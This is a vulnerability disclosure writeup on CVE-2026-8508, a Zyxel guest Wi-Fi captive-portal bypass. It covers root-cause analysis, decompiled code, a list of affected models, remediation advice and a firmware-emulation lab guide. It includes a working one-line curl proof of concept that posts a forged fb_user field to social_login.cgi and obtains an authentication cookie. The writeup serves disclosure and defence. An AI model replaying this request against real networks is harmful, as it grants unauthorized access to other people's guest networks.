August 16, 2026
CVE-2026-8508: Zyxel captive-portal bypass via trusted browser-submitted Facebook identity + Full emulation guide
A pre-authentication trust-boundary flaw in Zyxel guest Wi-Fi social login let the browser handle the Facebook-side identity work and then hand the access point a set of profile fields that the backend accepted. The local analysis here was anchored on the WAX650S, while Zyxel's August 4, 2026 advisory expanded the scope to 39 models.
/cgi-bin/social_login.cgiSet-Cookie: authtokThe WAX650S portal and social-login path in this writeup was developed on a full user-space AArch64 rehost built from vendor firmware. The repaired captive-portal lane reached /cgi-bin/social_login.cgi end-to-end without physical hardware.
At a glance
| Field | Value |
|---|---|
| Product analyzed locally | Zyxel WAX650S |
| Firmware analyzed locally | V7.10(ABRM.4)C0 |
| Firmware SHA-256 | e0a93db912c0b7203e0eb899f07ddef99b62a82a27352477c0f85d761576b1e0 |
| Entry path | /userdata.html → /cgi-bin/social_login.cgi |
| CVSS v3.1 | 6.5 Medium · AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Official WAX650S fixed version | 7.12(ABRM.0)C0 |
| Official affected scope | 36 APs, 2 FWA7 models, 1 security router |
The request that changed the picture
The shortest replay is the clearest one:
curl -i -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'fb_user=test@example.com' \
http://[target]/cgi-bin/social_login.cgi
Observed result:
HTTP/1.1 200 OK
Set-Cookie: authtok=<redacted-token>; path=/; HttpOnly
Matching backend activity recorded in the workspace notes:
logger_handle_login: User ...: User test@example.com social login fb login.
A pre-auth request carrying attacker-chosen identity data reached guest-session handling and produced an authentication token.
That is the bypass in concrete terms: instead of proving Facebook identity server-side and then granting captive-portal access, the device accepted browser-submitted identity data and continued into the admission path.
The local path to that result came entirely from emulation: the portal lane first had to be repaired from repeated 500 failures into a stateful backend path, then a direct crafted POST to social_login.cgi succeeded once on that repaired lane and matched the same fb_user in the UAM logs and request/notify traces. Zyxel's later confirmation is what tied that behavior back to physical hardware impact.
Where the trust boundary broke
The frontend and backend line up in the wrong direction.
var str = parent.document.location.hash;
tmp = str.split("=");
tmp = tmp[1].split("&");
access_token = tmp[0];
url = "https://graph.facebook.com/me?fields=name,email&access_token=" + access_token;
document.getElementById("fb_user").value = useremail;
document.getElementById("form").submit();
The backend route was pre-authenticated by configuration:
auth_zyxel.AuthZyxelSkipPattern = (
"/social_login.cgi",
"/userdata.html",
"/fbwifi_forward.cgi",
"/fbwifi_auth.cgi",
"/cloud_idp_login.cgi"
)
And the reviewed CGI accepted those fields directly:
local_8 = (...)(local_40,"fb_user",0);
local_28 = (...)(local_40,"fb_locale",0);
local_30 = (...)(local_40,"fb_age",0);
local_38 = (...)(local_40,"fb_gender",0);
...
printf("Set-Cookie: authtok=%s; path=/; HttpOnly\n", param_3);
The reviewed path did not perform server-side validation of a Facebook access token, OAuth code, state, nonce, or another proof object before the login flow continued.
What the backend trusted
- the route is pre-auth
- the browser derives identity client-side
- the backend trusts browser-submitted
fb_*fields - the CGI can issue
authtok - that trusted identity reaches real guest-session handling
Downstream reach
The local evidence in this workspace points beyond cosmetic labeling. The same identity family appears in UAM social-login admission logic, simultaneous-login handling, authenticated-station replication, foreign-station structures, and fauthd event handling.
Zyxel's May 22, 2026 response confirmed that the root cause was missing server-side validation of Facebook identity fields and that crafted unauthenticated requests could potentially bypass the social-authentication gate, allow unauthorized client admission, and affect downstream enforcement and station-replication structures on physical hardware.
Official affected scope
Zyxel's August 4, 2026 advisory lists 39 affected models for CVE-2026-8508 in total:
APs: IAP500BE, NWA30BE, NWA50AX, NWA50AX PRO, NWA50BE, NWA50BE PRO,
NWA55AXE, NWA55AX PRO, NWA55AX PTP, NWA55BE, NWA90AX, NWA90AX PRO,
NWA90BE, NWA90BE PRO, NWA110AX, NWA110BE, NWA130BE, NWA210AX, NWA210AXv2,
NWA210BE, NWA220AX-6E, NWA240BE, WAC500H, WAX300H, WAX510D, WAX610D,
WAX620D-6E, WAX630S, WAX640S-6E, WAX650S, WAX655E, WBE530, WBE510D,
WBE630S, WBE660S, WBE665S
FWA7: FWA7 Leaf Plus, FWA7 Root Plus
Security router: USG LITE 60AX
Remediation direction
The fix is to perform strict server-side validation of the Facebook access token before continuing the request. Identity fields such as fb_user, fb_locale, fb_age, and fb_gender can be metadata after verification. They cannot be the proof itself.
Emulation lab
This path was developed entirely from emulation. The helpers below show what each stage was for, what it was built with, and what a quick run should look like.
For the broader rehosting path and deeper emulation notes, see the public Zyxel WAX650S research notebook.
extract_710ABRM4C0.sh
What it does. Splits the vendor FIT image, extracts the root UBI volume, and unpacks the root filesystem that the portal path runs from.
./emulation/extract_710ABRM4C0.sh ./firmware.bin ./710ABRM4C0_extracted
Expected result: a bin_images/ tree, a rootfs/ directory, and terminal lines including Firmware: and Rootfs extracted to:.
prepare_zyxel_runroot.py
What it does. Builds the runnable runroot with the writable files, symlinks, and stub paths the Zyxel userland expects.
python3 ./emulation/prepare_zyxel_runroot.py \
--src ./710ABRM4C0_extracted/rootfs \
--dst ./runroot
Expected result: a ready runroot/ tree with portal, WLAN, and service configuration paths prepared for boot.
run_zyxel_lab.sh + zyxel_bwrap_env.sh
What it does. Boots the rehosted AArch64 userland and exposes the core and full portal phases for bring-up and health checks.
./emulation/run_zyxel_lab.sh rebuild --phase core
./emulation/run_zyxel_lab.sh health --phase core
Expected result: a healthy core lane, service state under .lab-state/, and a base web stack ready for portal repair.
seed_zyxel_ipc.py + UAM helpers
What it does. Seeds the IPC objects and fake UAM sockets that the portal path expects during social-login handling.
python3 ./emulation/seed_zyxel_ipc.py up
python3 ./emulation/uam_unix_server.py \
--socket ./runroot/dev/user-request \
--log ./live_artifacts/uam-user-request.log
Expected result: the IPC prerequisites exist, the socket appears under runroot/dev/, and UAM query traces accumulate in the chosen log file.
prepare_portal_runtime.py + repair_portal_config.py
What it does. Hydrates the captive-portal theme, writes the synthetic runtime files the lab needs, and repairs /tmp/portal_config when the shipped path is still incomplete.
python3 ./emulation/prepare_portal_runtime.py \
--runroot ./runroot \
--mode synthetic-minimal \
--theme THEME1 \
--write-includes \
--hydrate-assets \
--bootstrap-state
python3 ./emulation/repair_portal_config.py \
--runroot ./runroot \
--theme THEME1
Expected result: captive-portal assets land under tmp/captive-portal/ and portal_config is present with a usable theme record.
force_portal_post_increment_refresh.sh + replay probes
What it does. Refreshes the portal runtime, replays the captive-portal sequence, and checks whether social_login.cgi issues authtok on the repaired lane.
./emulation/force_portal_post_increment_refresh.sh portal_refresh
./emulation/social_login_portal_config_only_probe.sh social_probe
Expected result: a live_artifacts/ case directory with captured headers and bodies, including a successful social-login response that sets authtok.
Tools used
qemu-aarch64-static
Executed the Zyxel AArch64 userland directly from the extracted firmware tree.
bubblewrap
Provided the bind-mounted runtime view for /proc, /sys, device files, and emulated sockets.
curl
Replayed the portal, click-through, and social-login requests and captured the emitted authtok proof.
Python 3 and Bash
Powered the helper scripts used for runroot preparation, portal repair, IPC seeding, and replay orchestration.
Firmware unpacking utilities
dumpimage, fdtget, ubireader_extract_images, and unsquashfs unpacked the vendor image into a reviewable root filesystem.
Timeline
- 2026-05-01: local static reverse work and downstream-path analysis were consolidated
- 2026-05-15: Zyxel PSIRT said
CVE-2026-8508had been assigned - 2026-05-22: Zyxel confirmed the missing server-side validation root cause and hardware-relevant downstream impact potential
- 2026-08-04: Zyxel published the advisory and listed 39 affected models